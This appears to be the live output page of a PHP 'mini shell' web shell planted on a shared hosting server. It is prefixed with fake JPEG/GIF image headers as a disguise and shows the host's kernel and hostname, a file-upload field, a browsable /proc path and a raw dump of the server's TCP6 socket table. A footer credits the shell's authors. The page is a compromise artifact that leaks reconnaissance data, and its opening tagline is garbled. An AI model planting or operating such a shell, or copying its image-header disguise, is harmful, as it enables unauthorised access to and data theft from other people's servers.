ÿØÿà JFIF  H H ÿÛ C   GIF89; Eú tiket mi chék chéúfetál .

Eú tiket mi chék chéúfetál .

System: Linux server378.web-hosting.com 4.18.0-553.80.1.lve.el8.x86_64 #1 SMP Wed Oct 22 19:29:36 UTC 2025 x86_64

Current Path : /proc/thread-self/root/proc/self/root/proc/self/root/proc/thread-self/net/
Upload File :
Current File : //proc/thread-self/root/proc/self/root/proc/self/root/proc/thread-self/net/tcp6

  sl  local_address                         remote_address                        st tx_queue rx_queue tr tm->when retrnsmt   uid  timeout inode
   0: 00000000000000000000000000000000:03E3 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 3561701418 1 0000000000000000 100 0 0 10 0
   1: 00000000000000000000000000000000:0CEA 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000   984        0 1394086556 1 0000000000000000 100 0 0 10 0
   2: 00000000000000000000000000000000:526A 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 806594338 1 0000000000000000 100 0 0 10 0
   3: 00000000000000000000000000000000:024B 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 3018632982 1 0000000000000000 100 0 0 10 50
   4: 00000000000000000000000000000000:238C 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000   976        0 3561696928 1 0000000000000000 100 0 0 10 0
   5: 00000000000000000000000000000000:238E 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 2984022976 1 0000000000000000 100 0 0 10 0
   6: 00000000000000000000000000000000:006E 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 3561701416 1 0000000000000000 100 0 0 10 0
   7: 00000000000000000000000001000000:030F 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 2984650678 1 0000000000000000 100 0 0 10 0
   8: 00000000000000000000000000000000:008F 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 3561701464 1 0000000000000000 100 0 0 10 0
   9: 00000000000000000000000000000000:006F 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 19608 1 0000000000000000 100 0 0 10 0
  10: 00000000000000000000000000000000:01D1 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 3018632980 1 0000000000000000 100 0 0 10 50
  11: 00000000000000000000000000000000:0051 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 2984047158 1 0000000000000000 100 0 0 10 256
  12: 00000000000000000000000000000000:0035 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000    25        0 2149213961 1 0000000000000000 100 0 0 10 5
  13: 00000000000000000000000000000000:0015 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 4037995638 1 0000000000000000 100 0 0 10 8
  14: 00000000000000000000000000000000:31F5 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 981350840 1 0000000000000000 100 0 0 10 0
  15: 00000000000000000000000001000000:1538 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000    26        0 3561801668 1 0000000000000000 100 0 0 10 0
  16: 00000000000000000000000000000000:0019 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 3018632976 1 0000000000000000 100 0 0 10 50
  17: 00000000000000000000000000000000:001A 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 3018632978 1 0000000000000000 100 0 0 10 50
  18: 00000000000000000000000000000000:01BC 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 2984047160 1 0000000000000000 100 0 0 10 256
  19: 00000000000000000000000000000000:03E1 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 3561701466 1 0000000000000000 100 0 0 10 0
  20: 00000000000000000000000000000000:1622 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000   969        0 2983936333 1 0000000000000000 100 0 0 10 0
  21: 00000000000000000000000000000000:2742 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000   975        0 2102669916 1 0000000000000000 100 0 0 10 0
  22: 00000000000000000000000001000000:0CEA 00000000000000000000000001000000:DFC4 01 00000000:00000000 02:0008A069 00000000   984        0 3073802754 2 0000000000000000 20 4 25 10 16
  23: 00000000000000000000000001000000:008F 00000000000000000000000001000000:D442 06 00000000:00000000 03:0000103C 00000000     0        0 0 3 0000000000000000
  24: 00000000000000000000000001000000:008F 00000000000000000000000001000000:D40A 06 00000000:00000000 03:00001695 00000000     0        0 0 3 0000000000000000
  25: 00000000000000000000000001000000:D442 00000000000000000000000001000000:008F 06 00000000:00000000 03:0000103C 00000000     0        0 0 3 0000000000000000
  26: 00000000000000000000000001000000:E03E 00000000000000000000000001000000:030F 06 00000000:00000000 03:000001B1 00000000     0        0 0 3 0000000000000000
  27: 00000000000000000000000001000000:DFC4 00000000000000000000000001000000:0CEA 01 00000000:00000000 02:0008A069 00000000  1344        0 3073800646 2 0000000000000000 20 4 20 10 16

xxxxx1.0, XXX xxxx
SPECIMENT MINI SHELL - RECODED FROM PHANTOM GHOST